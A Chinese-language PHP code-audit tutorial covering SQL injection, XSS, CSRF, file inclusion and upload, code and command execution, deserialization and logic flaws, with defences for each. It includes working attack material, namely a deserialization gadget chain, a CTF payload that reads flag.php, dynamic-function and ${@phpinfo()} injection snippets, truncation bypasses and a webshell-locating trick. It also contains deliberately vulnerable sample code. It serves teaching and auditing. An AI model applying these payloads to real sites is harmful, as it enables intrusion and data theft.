代码审计

几个重要的PHP核心配件:

1、register_globals: 全局变量注册开关,在该选项设置为on的情况下,会直接把用户提交上来的GET,POST的参数注册成全局变量并初始化 2、allow_url_include (是否允许远程包含文件),在此参数设置为on的情况下,会导致包含远程文件,从而上传后门 3、magic_quotes_gpc: (魔术引号自动过滤),在开启的情况下,会自动对来自POST,GET,COOKIE的单引号,双引号,反斜杠,空字符前面加上反斜杠(\) 4、magic_quotes_runtime: 与上面的功能大致相同,不同之处在于它只对数据库或者文件中获取的数据进行过滤,但是我们可以先将注入语句存入数据库,再从数据库中进行调用,从而到达绕过防护的目的。 5、magic_quotes_sybase: 当开启时,会覆盖掉magic_quotes_gpc的配置,他与gpc的操作对象一致,不同之处在于它仅仅转义了空字符并把单引号变为双引号。 6、safe_mode: 安全模式,是PHP内置的安全机制,可以联动配置其他的许多操作指令 使用此命令时,会出现以下情况: a.所文件操作函数会受到限制,即用户只能对其目录下的文件进行操作,不能操作其他用户的文件 b.通过函数open(),system()以及exec()等函数执行命令时会提示出错,如果我们需要一些外部脚本,可以把他们放到一个目录下面,然后使用safe_mode_exec_dir命令指向这个目录 7、open_basedir : 用来限制PHP只能访问哪些目录 8、disable_functions: 禁用函数,可以禁止敏感函数的使用,使用此函数的时候,最好把DL()函数也禁用了,因为此函数会加载自定义的PHP扩展来突破disable_function的限制 9、display_errors和error_reporting: 这两个函数可以回显错误,应该关闭这两个函数防止PHP网站进行报错回显

代码审计的基本思路:

1根据敏感关键字回溯参数传递过程 2、查找可控变量,正向追踪可控变量传递过程 3、查找敏感功能点,通读该功能点代码 4、直接通读全文代码

在通读全文代码的时候,我们需要注意一下几个文件:

1、函数集文件:通常命名中包括functions和common等关键字,这些文件里是一些公共函数,提供给其他的文件统一调用,寻找这些文件的时候,最好去打开index.php或者一些功能文件,在头部一般都能找到 2、配置文件:通常命名中包含config等关键字 3、安全过滤文件:这关系到我们挖掘的可疑点能否利用,通常命名中含有filter,safe,check等关键字,主要针对SQL注入和XSS过滤进行过滤,还有文件路径,执行的系统命令,其他的相对少见。 4、index文件:是一个程序的入口文件

根据功能点定向审计: 1.文件上传功能; 2.文件管理功能; 3,登录认证功能; 4.找回密码功能;

一、PHP代码审计基础

1、SQL注入

通常发生在登录界面,获取HTTP头(user_agent/client-ip/x-forward-for等),订单处理等地方

1.普通注入,直接通过注入union查询就可以查询数据库,普通的注入有int和string类型,在string 注入中需要使用单或者双引号闭合

2.编码注入:程序在进行一些操作之前经常会进行一些编码处理,通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据。最常见的编码是MYSQL宽字节,以及urldecode/rawurldecode函数导致的

a.宽字节注入: 提交id=-1‘的时候,我们提交的单引号被转义为 ’1\',会导致前面的单引号被注释掉,导致没有闭合,但我们提交 id=-1%df '的时候,会被转化为如下MYSQL语句:where id='1运',这是因为 \'和%df被转义为 运 这个字符,出现这个漏洞的原因是PHP在连接mysql数据库的时候进行了如下设置:set character_set_client=gbk

b.二次urldecode注入: 现在的web程序大多都会进行参数过滤,通常使用addslashes,mysql_real_escape_string,mysql_escape_string过滤函数或者开启gpc的方式防止注入也就是给单引号,双引号,反斜杠,NULL加上反斜杠(\)的方式防止注入,但是若开启了urldecode或者rawurldecode就会导致二次解码生成单引号导致注入,比如:我们提交id=1%2527的时候,因为我们提交的参数中没有单引号,所以第一次解码后的结果是:id=1%27,这时会进行第二次解码,变为id=1'

漏洞防范: 1.gpc/runtime魔术引导 2.addslashes函数 3.mysql_[real_]escape_string函数 4.intval等字符转换 5.PDO prepare预编译

2、XSS

这种 漏洞一般有两种触发方式,一种是通过外部输入直接在浏览器端触发,即反射型XSS,令一种是先把利用代码保存在数据库或者文件中,当web程序读取利用代码并输出在页面上时触发,也就是存储型XSS 挖掘XSS漏洞的关键在于寻找没有被过滤的参数,且这些参数输入到输出函数,常用的输出函数列表如下:print,print_r,echo,printf,sprintf,die,var_dump,var_export,

XSS漏洞通常出现在文章发表,评论回复,留言以及资料设置等地方

1.反射型XSS

这种类型的漏洞比较容易通过黑盒扫描器直接发现,只需要将尖括号,单双引号等提交到web服务器,检查返回的HTML页面里有没有保留原来的特殊字符即可,在白盒审计中,我们只要寻找带有参数的输出函数,然后根据输出函数对输出内容回溯输入函数,观察有没有经过过滤即可

2.存储型XSS

挖掘此类漏洞也是要寻找为过滤的输入点和未过滤的输出函数

XSS防范:

1.特殊字符HTML实体转码:防范此类漏洞只需要过滤掉特殊字符即可,主要的特殊字符有:单引号(‘),双引号(“),尖括号(<>),反斜杠(\),冒号(:),and符(&),#号

2.标签事件属性黑白名单:即使使用了上面的特殊字符过滤,仍然可能会发生绕过,比如利用宽字节注入等方式,面对这样的情况,我们可以使用标签事件的黑白名单机制进行拦截,建议使用白名单机制,如果匹配到的事件不在白名单中,就直接进行拦截

3、CSRF

跨站请求伪造,就是劫持用户去做一些事情,举个例子:如果删除页面的权限只有管理员具备,某个攻击者想要删除这个页面的话,就可以将这个删除页面发送给管理员,通过管理员点击这个删除页面从而达到删除的目的

挖掘经验:

CSRF主要用于越权操作,所有漏洞在有权限控制的地方,像管理后台,会员中心,论坛帖子以及交易管理等。 在挖掘的时候,可以先搭建好环境,打开几个非静态页面,抓包看有无token,没有的话,再直接请求这个页面,不带referer,如果返回的数据还是一样的,说明有CSRF漏洞,这是黑盒测试的方法,对于白盒测试来说,只要读代码的时候看看核心文件里有没有验证token和referer相关的代码,这里的核心文件指的是被大量文件引用的基础文件,或者直接搜索"token"这个关键字

经典的案例有:Discuz CSRF备份拖库分析:

漏洞防范的方法:

(1)增加token/referer验证避免img标签请求的水坑攻击 ,token是计算机中的令牌,这个方法可以理解成在页面或者cookie中加一个不可预测的字符串,服务器在接收到操作请求的时候只要验证下这个字符串是不是上次访问留下的即可判断是不是可信请求 (2)增加验证码,不过这个方式会给用户带来很不好的用于体验

4、文件操作

1、文件包含

分为本地文件包含以及远程文件包含。

常见的包含函数有:include,include_once,require,require_once 他们的区别在于:include和include_once在包含文件时即使遇到错误,下面的代码依然会执行,而其他两种则会直接退出

挖掘经验:

文件包含漏洞大多出现在模块加载,模板加载以及cache调用的地方,比如传入模板名参数,实际是把这个拼接到了包含文件的路径中 本地文件包含是指只能包含本地文件的文件包含漏洞,远程文件包含。

文件包含截断:大多数的文件包含漏洞都是需要截断的,因为像include(BASEPATH.$mod.'php'),和include($mod.'php')都是有引号的,如果想要上传.php格式的文件,就必须使用截断

截断的方式: 第一种是使用%00来截断; 第二种是通过多个英文句号(...)和反斜杠(/)来截断;通过测试,在windows中可以使用240个(.)和反斜杠进行截断,在linux中可以利用2038个(.)和反斜杠进行截断; 第三种是通过?来进行伪截断,利用这种方式,Webserver将?之后的内容当成是参数,而txt不在解析范围之内

2、文件读取(下载)

比较有名的是2012年的phpcmsv9任意文件读取漏洞,这个漏洞是因为filename直接在请求的参数里面,用户可以控制这个参数从而达到控制读取后台文件的目的

挖掘经验: 1、黑盒,通过功能点对应的文件,再去读取文件,这样找起来会比较容易 2、白盒的方式看看有没有直接或者间接的控制变量

文件读取的函数有如下几个:file_get_contents,highlight_file,fopen,readfile,fread,fgetss,fgets,parse_ini_file,show_source,file,除了这些常见的函数之外,另外的一些函数也可以用来读取文件,比如include函数

3、文件上传

将文件上传到程序员不想让你上传的那个目录里面,目前的上传函数只有move_uploaded_file()这一个,可以利用黑名单机制进行漏洞绕过

常见的漏洞有: 1.未过滤或者本地过滤,就是指本地以及服务器端都没有对上传文件进行有效过滤,这个过滤指的是没有限制任何格式的文件上传, 2.黑名单扩展名过滤机制:限制的扩展名不够多;验证扩展名的方式存在问题可以进行直接绕过 3.文件头,content-type验证绕过,早期渗透的时候,如果直接上传一个非图片的文件,会导致提示图片的格式不正确,但是在文件头里面加上“Gif89a”的话,就可以进行上传了,这是因为程序使用了不可靠的过滤函数,比如“getimagesize()函数”

比较有名的漏洞有乌云的“wooyun-2014-062881漏洞”

4、文件删除

它的原理和文件上传漏洞差不多,不过不同之处在于涉及到的函数不一样,一般也是因为删除的文件名可以用../进行跳转导致的,常出现这个漏洞的函数是“unlink()”不过老版本下的session_destory函数也存在这个漏洞

挖掘经验: 可以直接找到相关的功能点,在此功能点下删除文件,如果删除不了文件,再去从执行流程去追提交的文件名参数的传递过程,如果是纯白盒挖掘漏洞的话,可以搜索带有变量参数的unlink()参数,依然采用回溯变量的方式,对于session_destory函数,这个漏洞在较早的版本里面就已经进行修复了

文件操作防范: 1.通用文件操作防范:由越权操作引起可以操作未授权的操作的文件;要操作更多文件需要跳转目录;大多数都是在请求中传入文件名 对权限的操作管理要合理,有的文件操作是不需要传入文件名的,比如下载文件的时候;要避免目录跳转的问题

文件上传漏洞规范: 白名单方式过滤文件扩展名,使用in_array或者三等于(===)来对比扩展名, 保存上传的文件时重命名文件,文件名命名规则采用时间戳的拼接随机数的MD5值方式“md5(time()+rand(1.10000))”

5、代码执行

这样的漏洞如果特殊过滤,相当于直接有一个web后门存在,该漏洞主要由于eval,assert,preg_replace,call_user_func,call_user_func_array,array_map

挖掘经验:

eval和assert函数导致的代码执行漏洞大多是因为载入缓存或者模板以及对变量的处理不严格导致,比如说直接把一个可控的参数拼接到模板里面,然后调用这两个函数去当成PHP代码去执行

prep_replace()函数的代码执行需要存在/e参数,这个函数原本是对字符串进行处理的 call_user_func和call_user_array函数的功能是调用函数,多用在框架里动态调用函数,array_map()函数的作用是代用函数并且除第一个参数外,其他参数为数组,通常会写死第一个参数,即调用的函数 除了上面的函数外,还有一种是动态函数的代码执行漏洞导致的,比如:$_GET($_POST["xx"])

1.代码执行函数

eval和assert函数:这两个函数的作用是用来动态执行代码,所以他们的参数就是PHP代码 prep_replace函数的作用是对字符串进行正则处理,函数的定义是这样的:prep_replace($pattern,$replacement,$subject),作用是搜索$subject中匹配$pattern中的部分,以$replacement进行替换,而当第一个参数$pattern存在e修饰符时,$replacement的值会被当做PHP代码来执行

调用函数过滤不严格:call_user_func和array_map函数等数十个函数具有调用其他函数的功能,其中第一个参数是调用的函数名,如果这个函数名可控,就可以调用意外的函数来执行我们想知道的代码,举个例子:

<?PHP
$B="phpinfo()";
call_user_func($_GET['a'],$b);
?>

当请求1.php?a=assert的时候,调用了assert函数并且将phpinfo()作为参数传入,执行完此段代码后,会执行phpinfo函数

动态函数执行:PHP动态函数的写法为“变量(参数)” <?php $_GET['A']($_GET['B'])?> 当a的参数值为assert,b的参数值为phpinfo()的时候,就会执行此段代码

在国内比较出名的代码执行漏洞有:thinkphp框架的URL解析漏洞,

漏洞的防范措施:采用参数白名单的机制

6、命令执行

代码执行漏洞是指可以执行PHP脚本代码,而命令执行漏洞是指可以执行系统或者应用指令,可以执行命令的函数有system(),exec(),shell_exec(),passthru(),pcnl_exec(),popen(),proc_open(),一共七个函数,另外反引号也可以执行命令,不过这个实际上是调用了shell_exec函数,PHP执行命令继承了WebServer()用户的权限,这个用户一般具有向web目录写文件的权限

挖掘经验:

命令执行漏洞一般包含在环境包的应用里,类似于eyou这样的产品,直接在系统里安装web服务和数据库服务,一般这类产品会有一些额外的小脚本来处理日志以及数据库,WEB应用会有比较多的点之间使用system(),exec,shell_exec,passthru,pcntl_exec,popen,proc_open等函数执行系统命令来调用这些脚本,这类应用可以直接在代码里搜索这几个函数,除了这几个函数外,类似discuz等应用也有调用外部程序的功能,如数据库导出功能。

命令执行函数: 上面我们说到有七个函数可以调用系统命令,有 system,exec,shell_exec,passthru,pcnl_exec,popen,proc_open,另外还有反引号也可以执行命令

其中system,exec,shell_exec,passthru以及反引号是可以直接传入命令并且函数会返回执行结果,system会直接回显结果并且打印输出,不需要echo也可以 pcntl是PHP的多进程处理扩展,在处理大量任务的情况下会使用到,使用pcntl需要额外的安装, popen和proc_open函数不会直接返回执行结果,会返回一个文件指针,但命令是已经执行了,执行完之后,可以到相应的目录中查找保存结果的文件

反引号命令执行:与shell_exec命令相似,不过,我们需要在要执行的命令的左右加上反引号 经典案例有:亿邮命令执行漏洞

漏洞防范措施有:一种是使用PHP自带的命令防注入函数,包括escapeshellcmd(),和escapeshellarg,其中第一个函数是过滤整条命令,所以他的参数是一整条命令,第二个函数是用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的

7、反序列化

魔术方法

在审计php反序列化漏洞的时候需要着重注意几个典型的魔术方法:

函数

简介

__sleep

serialize()函数在执行时会检查是否存在一个__sleep魔术方法,如果存在,则先被调用

__wakeup

unserialize()函数执行时会检查是否存在一个__wakeup 方法,如果存在,则先被调用

__construct

构造函数会在每次创建新对象时先调用

__destruct

析构函数是php5新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行

__toString

当对象被当做字符串的时候会自动调用该函数

<?php
class Student{
    public $name = 'zjun';
    public $age = '19';

    public function PrintVar(){
        echo 'name '.$this -> name . ', age ' . $this -> age . '<br>';
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destory(){
        echo "__destory<br>";
    }
    public function __toString(){
        return "__toString";
    }
    public function __sleep(){
        echo "__sleep<br>";
        return array('name', 'age');
    }
    public function __wakeup(){
        echo "__wakeup<br>";
    }
}

$obj = new Student();
$obj -> age = 18;
$obj -> name = 'reder';
$obj -> PrintVar();
echo $obj;
$s_serialize = serialize($obj);
echo $s_serialize.'<br>';
$unseri = unserialize($s_serialize);
$unseri -> PrintVar();
?>

输出结果:

__construct
name reder, age 18
__toString__sleep
O:7:"Student":2:{s:4:"name";s:5:"reder";s:3:"age";i:18;}
__wakeup
name reder, age 18

在进行构造反序列化payload时,可跟进以上几个比较典型的魔术变量进行深入挖掘。

一个例子

php中,序列化和反序列化一般用做应用缓存,比如session缓存,cookie等,或者是格式化数据存储,例如jsonxml等。

一个很简单的序列化代码,如下:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

一个Student类,其中有一个name属性和一个GetName方法,然后实例化了Student类的对象,输出调用GetName这个类方法,然后serialize()函数把对象转成字符串,也就是序列化,再输出序列化后的内容

输出结果:

zjun
O:7:"Student":1:{s:4:"name";s:4:"zjun";}

序列化的数据详解:

Oobject表示对象,:后边的内容为这个对象的属性,7表示对象名称的长度,Student就是对象名,1表示对象有一个成员变量,就是{}里面的东西,s表示这个成员变量是一个str字符串,他的长度为4,后面跟着成员变量名,以及这个成员变量的数据类型,长度,内容。

这里代码只有一个public属性,如果有protected或者private属性,在序列化的数据中也都会体现出来

<?php
    class Student{
        public $name = 'zjun';
        protected $age = '19';
        private $weight = '53';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

输出:

zjun
O:7:"Student":3:{s:4:"name";s:4:"zjun";s:6:"*age";s:2:"19";s:15:"Studentweight";s:2:"53";}

可见public类型直接是变量名,protected类型有*号,但是其长度为6,是因为\x00+*+\x00+变量名。同理private类型会带上对象名,其长度是15\x00+类名+\x00+变量名

以上的这个过程就称为php序列化,再看看反序列化:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }

    $Student = 'O:7:"Student":1:{s:4:"name";s:4:"zjun";}';
    $s_unserialize = unserialize($Student);
    print_r($s_unserialize);
?>

unserialize()函数就是用来反序列化的函数,输出:

Student Object ( [name] => zjun )

一个Student对象,其中name成员变量等于zjun,这就是反序列化,将格式化字符串转化为对象。

在这个过程中本来是挺正常的,在一些特殊情景下却能造成如rce等漏洞,如

<?php
class Student{
    var $a;
    function __construct() {
        echo '__construct';
    }
    function __destruct() {
        $this->a->action();
        echo 'one';
    }
}

class one {
    var $b;
    function action() {
        eval($this->b);
    }
}
$c = new Student();
unserialize($_GET['a']);
?>

代码有一个构造函数__construct输出__construct,在new这个对象时自动调用,一个析构函数__destruct将当我们传入的a再传进one对象中执行,构造代码:

<?php
class Student {
    var $a;
    function __construct() {
        $this->a = new one();
    }
}
class one {
    var $b = "phpinfo();";
}
echo serialize(new Student());
?>

输出:

O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}

成功触发。

实例:网鼎杯 2020 青龙组 AreUSerialz

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

这里需要读flag.php文件,在process()函数中,当op=2时,read()中的file_get_contents就会执行,is_valid()会判断传入的字符串是否为可打印字符,而原来的类修饰均为protected,在序列化时会生成不可见的\x00,但php7+对类的属性类型不敏感,可直接把属性修饰为public,成功绕过is_valid()

构造

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content;
}

$a = new FileHandler();
echo serialize($a)."\n";

传入

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

二、PHP代码审计深入

1、变量覆盖

这个漏洞的利用空间很大,比如说我们可以利用自定义的参数值覆盖掉原来已有的参数值,比如一个文件上传页面,限制的文件扩展名白名单写在配置文件变量中,但在上传过程中有一个变量覆盖漏洞可以覆盖掉原来的白名单列表,那我们就可以覆盖进去一个PHP扩展名,从而上传一个PHP的SHELL

变量覆盖漏洞常常是由于函数使用不当所导致,经常引发变量覆盖漏洞的函数有extract,parse_str,import_request_variables,其中第三个函数经常用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP5.4中已经取消。另外部分应用利用$$的方式注册变量没验证已有的变量导致覆盖也是 国内多套程序都犯过的错误

挖掘经验:

有函数导致的变量覆盖比较好挖掘,只要参数带有变量的extract,parse_str函数,然后去回溯变量是否可控,extract还要考虑第二个参数,import_request_variables函数则相当于开了全局变量注册,这个时候应该去寻找哪些变量没有初始化并且操作之前没有被赋值的,另外只要写在这个函数之前的参数,无论是否已经初始化都可以进行变量覆盖

extract函数的功能是将数组中的键值对注册成变量,发生覆盖的情况只出现在第二个参数出现问题的时候,当第二个参数有以下三种取值的时候,会出现变量覆盖:EXTR_OVERWRITE,EXTR_IF_EXTISTS,当数组中只有一个参数的时候回默认是第一个参数。

parse_str函数,作用是解析字符串并且注册成新的变量,如果该变量已经存在,则直接覆盖掉原来已经有的变量

import_request_variables函数:作用是把GET,POST,COOKIE的参数注册成变量,用在register_globals被禁止的时候,需要在PHP4.1到PHP5.4之间的版本

$$变量覆盖:举个例子,$a=1,$_key的值为a,$$key的值为2,则原来$a的值就会被覆盖掉,变为2 有名的例子有:Metinfo变量覆盖漏洞 漏洞的防范:

使用原始的变量数组,如$_GET,$_POST,变量覆盖漏洞都是因为在进行变量注册而导致的,所以要解决变量覆盖,最直接的就是不进行变量覆盖,而是使用原生的函数进行变量处理,或者在注册变量之前检查变量是否存在

2、逻辑处理

这类漏洞一般存在于支付,找回密码,程序安装等地方

在寻找这类漏洞的时候,最好要进行通读功能点的源码,熟悉这套业务的主要流程,挖掘起来就会比较方便,重点关注的地方应该是程序是否可以重复安装,修改密码处是否可以越权修改其他用户密码,找回密码验证码是否可以暴力破解,以及修改其他用户密码,cookie是否可以预测或者说cookie验证是否可以绕过

等于于存在判断绕过,逻辑漏洞里面,判断函数是一个非常典型的例子, in_array函数:判断一个值是否在一个函数里面,但是,这个函数在比较之前会进行自动类型转换,如果参数里面同时存在字符以及整数,在判断参数中是否有整数的时候,会自动过滤掉字符,留下整数。

<?php
if(in_array($_GET['typeid'],array(1,2,3,4)))
{$sql='select...where typeid=''.$_GET['typeid']."'";
echo $sql;

如果我们将typeid赋值为1‘ union select... ,原本typeid的值并不在数组之中,但是因为发生自动类型转换,导致1存在数组之中,会发生绕过,从而达到注入的目的

is_numeric函数:判断一个变量是否是数字,如果我们提交的是十六进制的数字,仍然会通过,但MYSQL是可以直接使用hex编码代替字符串明文的 双等于和三等于:“==”和“===”的区别,双等于会在提交变量之前进行变量类型的转换,而三等于则不会,举个例子: var_dump($_GET['var']==2),当var等于2aaa时候,会返回true,但是三等于会返回False

账户体系中的越权漏洞

指越级操作,一般发生在cookie验证不严格,比如用户id为110的用户查看自己的订单,如果他将自己的id修改为112,那么他就可以查看id为112的用户的订单信息

未exit或者return引发的安全问题,在经过if的条件判断后,程序如果没有正常的退出,会继续执行if条件语句后面的语句,可能会导致后门的安装

支付漏洞:

比较常见的有在支付页面可以修改商品的单价还有总价,或者是在QQ刷钻的时候,数据处理不及时也会导致这样的错误出现,当前时刻你有10元余额,同时发送两条短信开通黄钻业务,会成功开通,但你的余额最后是-10元,这是因为判断余额的时间差导致的漏洞

比较有名的一个例子就是Ecshop逻辑错误注入分析漏洞:这个漏洞的主要原因就是程序在已经过滤了用户提交上来的敏感参数后,又再次使用了用户的参数

针对这种类型的漏洞,防范措施有:深入熟悉业务逻辑,多熟悉函数的功能和差异

3、会话认证

会话认证一般涉及到cookie,session,sso,oauth,openid,一般问题出现在cookie上面,cookie是web服务器返回给客户端的一段常用来标识用户身份或者认证情况的代码,保存在客户端,浏览器下次请求时会自动带上这个标识,由于这个标识存放在本地,因此用户可以自动进行修改。session是保存在服务器端的用户信息。

挖掘经验:

有的网站是通过直接验证cookie里面的参数进行验证的,比如cookie里的username改成admin就会出现服务器认为你是管理员的情况。

cookie认证安全:cookie可以保存任何字符串,大小一般是4096个字节, 一个比较有名的案例是:Espcms任意用户登录

4、二次漏洞

举个例子,加入你已经将SQL注入语句写入了数据库,但是还暂时不能触发这个漏洞,不过现在存在另一个评论引用区,你可以引用刚才提交上去的评论,于是刚才提交的评论中的SQL注入语句被触发,成功的执行了SQL注入

二次漏洞审计技巧:二次漏洞一般出现在逻辑比较复杂的地方,比如购物车,订单,引用数据,文章编辑,草稿等,这些跟数据库交互的地方,跟文件系统交互的地方就是系统配置文件了,在二次漏洞里面,我们应该重点关注SQL以及XSS

二次漏洞的例子有:WooYun-2013-18562,这个漏洞利用的是dedecms的评论区的二次漏洞进行攻击的,最终可能会将管理员的密码爆破出来

三、PHP代码审计技巧

1、GPC转义的空子

GPC会自动将用户提交上来的数据进行过滤,将有害的数据过滤掉,但是,$_SERVER变量不受其保护,PHP5之后的$_SERVER取到的header字段不会受到影响,所以即使开启了GPC,里面的特殊字符也不会被过滤掉

编码转换问题:比如前面讲到的宽字节注入,但是其实只要发生编码的地方就有可能出现这样的问题,也就是说在PHP自带的编码转换函数上也会出现这样的问题,比如:mb_convert_endoing函数 漏洞例子有:ecshop就出现过这种漏洞,出现的位置在includes/cls_iconv.php文件的chinese类中的convert函数

神奇的字符串:一般的报错信息都会将文件的路径暴露出来,而我们在webshell的场景就需要用到文件的绝对路径,用户提交上去的数据后端大多是以字符串的方式处理,所以利用字符串处理函数报错成了必不可少的方式,对于利用参数来报错的方式,给函数传入不同类型的变量是最实用的方式,大多数程序会使用trim函数对用户名等值去掉两边的空格,这时候如果我们传入的用户名是一个数组,程序就会报错,类似的额函数还有很多,比如:addslashes,addslashes,bin2hex,chop,chr...

2、字符串截断

在利用文件上传漏洞的时候,经常会用到抓包,然后修改POST文件上传数据包里面的文件,在文件名里面加上一个%00,

%00的具体工作原理是:%00即NULL是会被GPC以及addslashes函数过滤掉的,所以如果想要使用这个漏洞,就必须要关闭这两个函数,另外在PHP5.3之后的版本也全面修复了这个漏洞,因此也是无法利用这个漏洞的,为什么会出现这个漏洞?这是因为PHP是基于C语言开发的,%00在URL解码之后就变为\0了,\0在C语言中是字符串结束的标志,遇到这个符号后就不会去读取后面的字符了

iconv函数字符编码转换截断:这个函数是用来做字符编码转换的,比如从UTF-8转换到GBK,字符集的编码转换总会存在一定的差异,导致部分编码不能被成功转换,在使用iconv的时候,当遇到不能处理的字符串则后续字符串会不被处理,一个比较有名的例子就是建站之星模糊测试实战之任意文件上传漏洞,这个漏洞会导致任意文件上传漏洞

3、PHP伪协议

PHP提供了php://的协议允许访问PHP的输入输出流,标准输入输出流和错误描述符。主要提供以下方式来使用这些封装器:php://stdin; php://stdout; php://strerr; php://input; php://output; php://fd; php://memory; php://temp: php://filter

4、PHP代码解析标签

PHP有几种解析标签的写法来标识PHP代码,比如最标准的<?php?>,当PHP解析器找到这个标签的时候,就会执行这个标签里面的代码,实际上除了这种写法外还有一些标签

脚本标签:... 短标签:<?...?>,使用短标签前需要在php.ini中设置short_open_tag=on;

asp标签<%...%>在PHP3.0.4之后可用,需要在php.ini中设置asp_tags=on 通过这些标签可以执行PHP代码,达到植入后门的目的

5、FUZZ漏洞发现

是指针对特定目标进行模糊测试,这里的特定目标不同于漏洞扫描器中的批量漏洞扫描,fuzz测试中的漏洞具体是什么不是很清楚,所以叫做模糊测试

6、不严谨的正则表达式

常见的正则表达式问题有:没有使用 ^ 或者 $ 限定匹配开始位置,举个例子,大部分的IP匹配式都被写成:"\d+.\d+.\d+.\d+"的形式,如果要匹配的IP是“client-ip:127.0.0.1aa”,输出ip是“127.0.0.1aa”,同样通过检测,严谨一些的正则表达式应该被写成:“^\d+.\d+.\d+.\d+$”来限定匹配的起始和结束位置

特殊字符未转义:在正则表达式中,有些特殊符号需要转义符进行转义之后才能进行匹配,如果不仅转义,像英文句号 . 可以表示任何字符

7、十种MySQL报错注入

很久以前就有的数据类型转换错误就是用的最多的一种方式,这种方式大多用在SQL SERVER上面,利用的是convert,cast函数,MYSQL的报错SQL注入方式更多,不过大多数人只认识三种,floor,updatexml,extractvalue这三种,但实际上还有许多的方式会导致这种漏洞。他们分别是: GeometryCollection,polygon,GTID_SUBSET,multipoint,multilinestring,multipolygon,LINESTRING,exp;

通常的漏洞利用语句是select * from phpsec where id=?

8、WINdows FindFirstFile利用

目前大多数的程序会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里面的文件ID度取出文件路径,一样实现了文件下载,这样我们就无法直接得到我们上传的webshell文件路径,但是在windows中,我们只需要知道文件所在的目录,然后利用Windows特性就可以访问文件,因为Windows在搜索文件的时候用到了FindFirstFile这一个winapi函数,该函数到指定文件夹取搜索指定文件

利用方法很简单,我们只需要将文件名不可知部分之后的字符用“<”或者">"代替即可,但如果访问的文件名更长,则需要使用"<<"来代替,如果要搜索“123456.txt”,需要写成file="12<<"的形式

9、PHP可变变量

指的是一个变量的变量名可以动态的设置和使用,举个例子:

<?php 
$a='seay' 
$$a='123' 
echo $seay
?> 

最终seay的值会输出为123, 部分PHP文件应用在写配置文件或者使用preg_replace的时候,会用双引号代表string类型给变量赋值,在PHP中,单引号代表纯字符串,双引号则会解析中间的变量

再举一个例子:

 <?php 
 $a=""${@phpinfo()}"; 
 ?> 

运行这段代码的时候,会输出PHP的版本信息,这里需要注意的是,${@phpinfo()}中的“@”符号是必须存在的,不然就无法执行,但是除了@符号之外,其他的写法也是一样的,只要不影响PHP规范即可

以下写法均可行: 1.花括号中的第一个字符未空格 2.花括号中的第一个字符未TAB 3.花括号中的第一个字符为注释符 4.花括号中的第一个字符为回车换行符 5,花括号中的第一个字符为加号(+) 6.花括号中的第一个字符为减号(-) 7,还可以是感叹号,斜杠,波浪符等

四、PHP安全编程规范

1、参数的安全过滤

1第三方过滤函数与类:DISCUZ SQL安全过滤类,DISCUZ XSS标签过滤函数分析 2.内置过滤函数:SQL注入过滤函数,XSS过滤函数,命令执行过滤函数

2、加密算法

1.对称加密:AES,DES,3DES,RC2,RC4,RC5...;其中:3DES加密使用3条56位的秘钥对加密数据进行三次加密,AES加密使用128,192,256,为的秘钥进行加密 2.非对称加密:加解密的公钥私钥不同,有RSA加密等 3.单向加密:MD5/SHA1加密,MD5分为16,32位,SHA1有40位

3、业务功能安全设计

  1. 验证码:可能存在的安全问题有:不刷新直接跳过,暴力破解,机器识别,打码平台;验证码资源滥用:短信轰炸机就是利用了网站的短信验证码接口,

  2. 用户登录:撞库漏洞:用户名和密码错误次数没有限制,但时间段内用户的密码错误次数限制;单时间段内IP登录错误次数限制;API登录:利用第三方平台进行登录,应该注意登录秘钥需要不可预测并且不固定,生成key算法中加入随机字符,API接口禁止搜索引擎收录,登录秘钥当次绑定当前主机,换机器不可用,防止QQ木马和嗅探KEY

  3. 用户注册:应该设计验证码,采集用户机器唯一识别码,拦截短时间内多次注册,根据账号格式自学习识别垃圾账号,防止SQL注入漏洞与XSS漏洞

  4. 密码找回:应该注意一下三个大流程:输入用户名/邮箱/手机号的阶段;填写验证码和新密码的阶段(可能存在验证凭证较简单,可以被暴力破解;验证凭证算法简单,凭证可以预测;验证凭证直接保存在源码里);发送新密码阶段

  5. 资料查看与修改:未验证用户权限,未验证当前登录用户,

  6. 投票/积分/抽奖:cookie或者POST请求正文绕过,基于IP验证,基于用户认证

  7. 充值支付:保证数据可信,购买数量不能小于等于0,账户支付锁定机制

